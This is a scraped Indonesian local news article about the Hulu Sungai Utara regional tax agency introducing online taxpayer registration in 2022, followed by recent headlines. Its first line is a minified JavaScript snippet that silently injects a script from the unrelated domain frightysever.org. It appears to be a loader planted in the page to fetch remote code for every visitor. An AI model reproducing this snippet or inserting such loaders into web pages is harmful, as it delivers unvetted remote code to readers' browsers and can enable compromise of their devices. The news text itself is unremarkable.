(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Sistem Pendaftaran Wajib Pajak Online Mulai Tahun Depan, Ini Langkah BP2RD HSU


KANALKALIMANTAN.COM, AMUNTAI – Meningkatan Pendapatan Asli Daerah (PAD) Badan Pengelolaan Pajak dan Retribusi Daerah (BP2RD) Hulu Sungai Utara (HSU) berupaya mempermudah masyarakat dalam pendaftaran wajib pajak secara online di seluruh kecamatan.

BP2RD HSU gencar menggelar sosialisasi penerapan sistem pendaftaran wajib oajak dan wajib retribusi secara langsung, di antaranya ke Kecamatan Paminggir.

Sistem pendaftaran wajib pajak dan wajib retribusi ini merupakan perwujudan dari Undang – Undang yang berkenaan dengan pajak dan retribusi serta Surat Edaran Menteri Dalam Negeri tentang implementasi transaksi non tunai dan juga Peraturan Bupati tentang penyelenggaraan sistem pemeritahan berbasis elektronik.

“Sistem pendaftaran wajib pajak dan wajib retribusi ini adalah salah satu pengembangan aplikasi yang selama ini telah kita gunakan. Sistem ini nantinya akan mempermudah bagi wajib pajak dan wajib retribusi untuk mendaftar di seluruh kantor kecamatan yang nantinya akan dibantu oleh operator kecamatan itu sendiri,” terang Etna Prilina Diaty, Kepala Bidang Pajak dan Retribusi Daerah pada BP2RD HSU, Rabu (27/10/2021).

 

Baca juga : Hari Ini 73 Desa di HSU Gelar Pilkades Serentak

Menurut Etna, penerapan sistem tersebut direncanakan akan dimulai di awal tahun 2022 mendatang. Dimana saat ini pihaknya masih melaksanakan sosialisasi ke kecamatan-kecamatan di Kabupaten HSU

“Saat ini kami masih melakukan kegiatan sosialisasi baik melalui media elektronik seperti televisi dan videotron, serta media luar ruang berupa spanduk,baliho yang kesemuanya itu berkerjasama dengan Dinas Kominfo HSU, selain media tersebut kami juga melakukan sosialisasi secara langsung mendatangi kecamatan-kecamatan secara bertahap dan ditargetkan selesai akhir tahun, sehingga di awal tahun sistem ini sudah bisa diterapkan,” jelasnya.

Sistem ini, akan melayani pendaftaran wajib pajak usaha catering makanan dan retribusi galian C, dengan memberikan berbagai kemudahan dan mutu pelayanan yang terbaik.

Etna berharap dukungan semua pihak, demi suksesnya program ini, sehingga ada peningkatan PAD di Kabupaten HSU.

“Saya berharap agar masyarakat dapat memanfaatkan sistem ini, wajib pajak dan wajib retribusi semakin bertambah banyak dan ketaatan membayar semakin tinggi, dukungan semua pihak pasti kita butuhkan,” pungkasnya (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Desy Arfianty

Recent Posts

Jelang Misa Natal Semua Gereja di Banjarmasin Disterilisasi

KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More

11 jam ago

Menang di PTUN, KPU Banjarbaru Giliran Hadapi Gugatan di PN Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More

12 jam ago

Sambut Promo Natal & Promo Tahun Baru yang Lebih Seru Dengan Diskon Hingga Rp1,29 Juta!

KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More

14 jam ago

Pemkab Banjar Serahkan Bantuan Alsintan untuk Sejumlah Desa di Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More

15 jam ago

Tak Kuat Menanjak, Truk Bermuatan Keramik Berjalan Mundur di Sungai Ulin

Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More

15 jam ago

PTUN Banjarmasin Tolak Gugatan Atas KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More

16 jam ago

This website uses cookies.